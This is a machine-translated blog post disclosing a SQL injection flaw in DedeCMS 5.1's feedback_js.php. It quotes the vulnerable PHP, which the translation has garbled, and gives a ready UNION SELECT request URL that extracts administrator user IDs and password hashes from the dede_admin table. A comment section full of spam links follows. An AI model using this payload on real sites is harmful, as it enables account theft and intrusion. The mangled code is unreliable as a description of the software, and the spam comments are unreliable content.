DEDECMS 5,1 feedback_js.php 0day-0 dias, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Esta entrada foi publicada em 11 de outubro de 2009

Autor: St0p Rainy'Fox
Reproduzido por favor indicar a fonte: http://bbs.erpangzi.com/ http://www.st0p.org

Esta vulnerabilidade é encontrada e Rainy'Fox também está disponível no caso magic_quotes_gpc = off

Versão Vulnerabilidade: Artigos Condo 5,1
Isto pode ser explorado para obter a conta de administrador no fundo e criptografar o hash, existem brechas arquivo plus / feedback_js.php, os parâmetros não filtradas de US $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Linha = $ dlist -> DSQL -> GetOne ("id Select De` # @ __ cache_feedbackurl `onde url = '$ arcurl'");
        / / Aqui $ arcurl nenhum filtro
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Apresentar os resultados colocar atribuição $ urlindex para uma consulta para o $ linha ['id'], podemos construir instruções SQL para a operação seguinte
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ arcID) && empty ($ urlindex)) exit ();
 / / Se $ arcID está vazia ou US $ urlindex saída vazia
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ arcID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ArcID está vazio, um pouco acima dos resultados da aplicação será atribuído a $ wq nas operações seguintes realizados.
 = " aid=' $arcID ' " ; else $ wq = "aid = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "SELECT * FROM` # @ __ gabarito `onde $ wq e ischeck = '1 'ORDER BY dtime desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Olhe para o uso de, hey, fechou Eu uso duas união

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'união selecione "" e 1 = 2 UNION SELECT userid, 1,1,1, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 de dede_admin onde 1 = 1 união SELECT * FROM dede_feedback onde 1 = 2 e'' = '"de dede_admin onde'' ='

Infelizmente, mesmo esse cara e Rainy'Fox para encontrar teste alvo quando ele disse de fato pode, ao = magic_quotes_gpc em quando através .... essa idéia muito YD .. terrível demais, para realmente atingir esse rede do sector deve ao caos, um monte de programas são por padrão no PHP magic_quotes_gpc estiver desligado, vai chamar a sua parte própria fuga ... você realmente pode alcançar, que é o pesadelo do programa PHP ...

Saiba · Fraudes de artes marciais

356 Respostas para "DEDECMS 5,1 feedback_js.php 0day"

Por хостинг em 19 de novembro de 2009 | Responder
zelo intiresno, hvala
O por AKfour sete em 1 de dezembro de 2009 | Responder
Estou aqui hoje humildemente diate da tarefa antes de [url = http://www.bawwgt.com] dofus kamas [/ url], grato pela confiança que vocês depositaram em mim, ciente dos sacrifícios suportados por nossos [url = http:/ / www.bawwgt.com] kamas dofus baratos [/ url]. Eu agradeço ao presidente [url = http://www.bawwgt.com] power leveling dofus [/ url] para o seu serviço de [url = http://www . bawwgt.com] comprar dofus kamas] [/ url, bem como pela generosidade e cooperação que ele demonstrou durante esta transição.
O por wsewtoexg em 03 de dezembro de 2009 | Responder
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Por tedy em 05 de dezembro de 2009 | Responder
Apenas 34 dias antes DOFUS 2.0! 02 de dezembro estará aqui antes que sabemos [url = http://www.bawwgt.com/fr] dofus kamas [/ url]. On [url = http://www.bawwgt.com / fr] dofus kamas moins chers [/ url] cada leitor irá descobrir uma experiência completamente nova DOFUS. [url = http://www.bawwgt.com/fr] acheter des dofus kamas [/ url] tem que se contentar com o relatórios e fóruns. Mesmo assim [url = http://www.bawwgt.com/fr] achat dofus kamas [/ url], há ¡ ¯ s sempre alguns dos nossos jogadores queridos nos fóruns.
Ao comprar strattera em 13 de dezembro de 2009 | Responder
Esta é uma notícia legal. Obrigado.
O por Seengart em 14 de dezembro de 2009 | Responder
hein ... o estilo do informativo ..
Por Natasha-web em 16 de dezembro de 2009 | Responder
Vdaka za zaujimavy blogue
O por ConradSimone em 8 de março de 2012 | Responder
Bem, este é o amor indeed.Would muito interessante ler um pouco mais deste. Admire a valiosa informação que você oferece em seus artigos.
O Conrad por Simone